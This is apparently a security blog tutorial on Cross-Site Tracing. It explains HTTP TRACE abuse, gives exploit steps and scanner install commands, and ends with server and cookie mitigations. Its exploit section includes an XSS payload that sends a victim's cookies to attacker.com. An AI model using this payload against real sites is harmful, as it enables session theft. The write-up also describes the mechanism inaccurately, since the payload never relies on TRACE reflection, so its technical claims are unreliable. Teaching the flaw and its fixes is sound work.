Cross-Site Tracing (XST) Vulnerability: Understanding and Exploiting the Flaw

What is Cross-Site Tracing (XST)?

Cross-Site Tracing is like the internet’s version of a nosy neighbor who tries to peek into your house by sending a sneaky note under your door. In this case, the “note” is an HTTP TRACE request, and instead of finding out about your favorite pizza toppings, it can expose all sorts of sensitive info, like cookies and HTTP headers. It’s basically a server’s “open door” moment — only the door shouldn’t be open in the first place! The TRACE method is meant for debugging, but if misconfigured, it becomes a hacker’s best friend for snooping around and seeing exactly what the server is getting up to.

XST works in conjunction with Cross-Site Scripting (XSS), where an attacker injects malicious code into a vulnerable web page, allowing them to perform a TRACE request on behalf of the user.

How Does XST Work?

1. TRACE Method: The HTTP TRACE method is intended to help with diagnostics. When a TRACE request is sent to the server, the server responds with the exact HTTP request it received, including all headers, parameters, and other information.
2. Vulnerable Configuration: Many web servers are configured to allow TRACE requests for debugging purposes. If the TRACE method is not disabled or restricted, attackers can abuse it to access sensitive data, such as authorization tokens, session cookies, and other HTTP headers, by sending maliciously crafted requests.
3. Cross-Site Scripting (XSS) Exploit: By injecting an XSS payload into a website, an attacker can execute the malicious script in the context of a victim’s browser. This script can then issue a TRACE request to a server controlled by the attacker, effectively stealing sensitive data from the victim’s browser.

Step-by-Step Guide to Exploit XST :-

1. Locate a Target with TRACE Enabled Before launching an XST attack, you need to ensure that the server allows TRACE requests. You can do this by sending an HTTP TRACE request to the server using tools like `curl`, `netcat`, or Burp Suite.

curl -X TRACE http://target.com

If the server responds with the exact request headers, TRACE is likely enabled.

Manual exploit

inject malicious JavaScript into a vulnerable webpage (via XSS). This script will make a TRACE request to a server controlled by the attacker.

Example payload:

<script>
  var xhr = new XMLHttpRequest();
  xhr.open("TRACE", "http://attacker.com/steal?cookie=" + document.cookie, true);
  xhr.send();
</script>

Here, the script sends the user’s cookies to the attacker’s server using the TRACE method. You can replace the payload with other sensitive data if needed, such as authentication tokens or custom headers.

Automation Exploit

you can use some tools for exploit this vulnerability and write the POC,
one of the tools is [HXCC](“https://github.com/Zierax/HXCC-scanner”)
**install**

git clone https://github.com/Zierax/HXCC-scanner
cd HXCC-scanner
pip install -r requirment

then **Usage**

python main.py <target_host> <port>

now you are there !!

Mitigation and Prevention of Cross-Site Tracing (XST)

Protecting against XST vulnerabilities is crucial for securing your site. Here’s how you can do it:

1. **Disable the TRACE Method** The quickest way to stop XST attacks is to disable the TRACE method. Most modern web servers have an easy way to do this:

**Apache: **

apache TraceEnable off

*Nginx: **

if ($request_method = TRACE) {
    return 405;
}

2. **Implement Content Security Policies (CSP)**

CSP helps block XSS attacks (a key player in XST). A solid CSP blocks inline scripts and restricts external resources.

Example:

Content-Security-Policy: default-src 'self'; script-src 'self'; object-src 'none';

3. **Input Sanitization & Validation**

Always sanitize and validate user inputs! This will keep nasty scripts from sneaking in and causing trouble.

4. **Use HttpOnly and Secure Cookies**

Make cookies safer by marking them as HttpOnly and Secure—this keeps JavaScript from messing with them.

• Example:

Set-Cookie: sessionid=abc123; HttpOnly; Secure;

Real-Life Impact of XST Exploits

XST isn’t just a theoretical risk — it can have major consequences. Attackers can steal session cookies, hijack accounts, and do all sorts of mischief. Imagine an attacker getting access to a social media account just because they lifted a session cookie — scary, right?

So, keep your web apps secure and stay vigilant!